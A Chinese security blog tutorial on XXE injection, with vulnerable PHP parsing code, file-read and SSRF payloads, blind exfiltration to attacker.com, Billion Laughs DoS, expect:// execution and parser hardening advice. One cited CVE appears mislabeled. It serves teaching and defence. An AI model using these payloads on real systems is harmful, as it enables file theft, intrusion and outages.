XML外部实体注入(XXE)

免责声明

本文旨在分享网络安全知识,帮助读者了解漏洞的原理、攻击方式及防御措施。文中提到的技术和方法仅用于合法的安全测试和教育目的,严禁用于任何非法活动。


XML外部实体注入(XXE)漏洞常年位列OWASP Top 10,其隐蔽性和高危害性使其成为渗透测试中的“杀手锏”。攻击者通过构造恶意XML数据,可窃取服务器敏感文件、探测内网服务,甚至远程执行命令。

本文将从原理、攻击手法到防御方案,结合实战案例与工具,全面剖析XXE漏洞,并揭示其与现代架构的潜在关联。


一、XML与DTD:漏洞的源头

1. XML的核心作用与结构

XML以树形结构传输和存储数据,典型示例如下:

<?xml version="1.0" encoding="UTF-8"?>
<user>
  <name>John</name>
  <email>john@example.com</email>
  <role>admin</role>
</user>

与HTML的区别

  • HTML用于渲染页面(如<h1>标签),XML仅定义数据结构。

  • XML支持自定义标签,灵活性更高,但也为漏洞埋下隐患。

2. DTD的“双刃剑”与实体分类

DTD(文档类型定义)用于规范XML格式,但通过实体(ENTITY)引入外部资源:

实体类型声明方式作用范围
内部普通实体<!ENTITY name "value">当前XML文档内
外部普通实体<!ENTITY xxe SYSTEM "file:///etc/passwd">引用本地/远程文件
参数实体<!ENTITY % param "value">仅限DTD内部使用

漏洞触发点
当服务端使用低版本解析库(如libxml2<2.9.0)且未禁用外部实体时,攻击者可注入恶意实体。

3. XML解析流程中的风险

以PHP为例,以下代码直接解析用户输入的XML数据,存在XXE风险:

$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xml); // 未禁用外部实体加载!
echo $dom->textContent;

二、XXE攻击实战:从读取文件到内网渗透

1. 基础利用:文件读取与协议探测

场景1:有回显读取文件

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

响应结果

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

场景2:探测内网HTTP服务

<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/secret-api">

若目标内网存在未授权接口,可进一步发起SSRF攻击。

2. 盲注(Blind XXE):无回显下的数据外带

攻击流程

  1. 托管恶意DTD文件(如http://attacker.com/evil.dtd):
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
    
  2. 触发XML解析
    <?xml version="1.0"?>
    <!DOCTYPE root [
      <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
      %remote; %int; %send;
    ]>
    
  3. 攻击者服务器接收数据
    GET /?data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...
    
    Base64解码后即可获取文件内容。
3. 高级利用:拒绝服务(DoS)与命令执行

XXE DoS示例(Billion Laughs攻击)

<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
...

通过递归引用实体耗尽服务器内存。

结合PHP伪协议执行命令(需特定环境配置):

<!ENTITY xxe SYSTEM "expect://id">

三、漏洞挖掘:白盒与黑盒技巧

1. 白盒测试:代码审计与依赖检查

关键函数/类

  • PHP:simplexml_load_string(), DOMDocument::loadXML()

  • Java:DocumentBuilder.parse()

  • Python:lxml.etree.parse()

依赖库版本检查

# 检查libxml2版本(Linux)
apt list --installed | grep libxml2
2. 黑盒测试:手工与工具结合

步骤1:修改请求类型
Content-Typeapplication/json改为application/xml,提交测试载荷:

<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<test>&xxe;</test>

步骤2:利用工具自动化检测

  • XXEinjector:支持多协议探测与盲注自动化。
    ruby XXEinjector.rb --host=attacker.com --path=payload.xml --verbose
    
  • Burp Suite插件:通过Collaborator检测带外请求。

步骤3:文件后缀探测
尝试访问以下路径,寻找XML处理接口:

  • /api.ashx

  • /service.svc

  • /data.xml


四、防御方案:从代码到架构的多层防护

1. 代码层:禁用外部实体与安全解析

多语言示例

  • Java(SAX解析器)
    SAXParserFactory spf = SAXParserFactory.newInstance();
    spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    SAXParser parser = spf.newSAXParser();
    
  • .NET
    XmlReaderSettings settings = new XmlReaderSettings();
    settings.DtdProcessing = DtdProcessing.Prohibit;
    XmlReader reader = XmlReader.Create(inputStream, settings);
    
2. 架构层:输入过滤与协议限制
  • WAF规则:拦截包含<!ENTITYSYSTEM等关键词的请求。

  • 网络隔离:限制XML解析服务的外网访问权限。

  • 协议白名单:禁用file://http://等高危协议,仅允许必要协议(如https)。

3. 替代方案:使用JSON或YAML

若业务允许,优先采用JSON并启用严格模式:

{
  "user": {
    "name": "John",
    "email": "john@example.com"
  }
}

五、真实案例:从漏洞到灾难

案例1:某金融平台数据泄露
  • 漏洞利用:攻击者通过盲注读取数据库配置文件config.properties,获取MySQL凭据。

  • 后续影响:数万用户银行卡信息泄露,平台被罚款500万美元。

  • 修复措施:升级libxml2,并在代码中禁用外部实体。

案例2:云服务商内网沦陷
  • 攻击链:XXE → SSRF → Kubernetes API未授权访问 → 容器逃逸。

  • 根本原因:内网API未配置身份验证,且XML解析服务未更新。

  • 教训:内网服务需默认启用零信任架构。


六、未来发展趋势

XXE漏洞的威胁在云原生与微服务架构中依然显著。随着XML在物联网设备配置中的广泛应用,攻击面持续扩大。未来防御需关注:

  1. 自动化扫描:集成SAST/DAST工具,实时检测XXE风险。

  2. 协议演进:推动行业采用JSON Schema或Protobuf等更安全的数据格式。

  3. 安全意识:开发人员需在代码审查中严格检查XML解析逻辑。

参考资料

  • OWASP XXE Cheat Sheet

  • CVE-2021-29441:WordPress XXE漏洞分析

  • 《XML安全解析最佳实践》(MITRE)


作者丨瓜牛网安

邮箱丨 KADP9515@126.com

来源丨转载请注明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值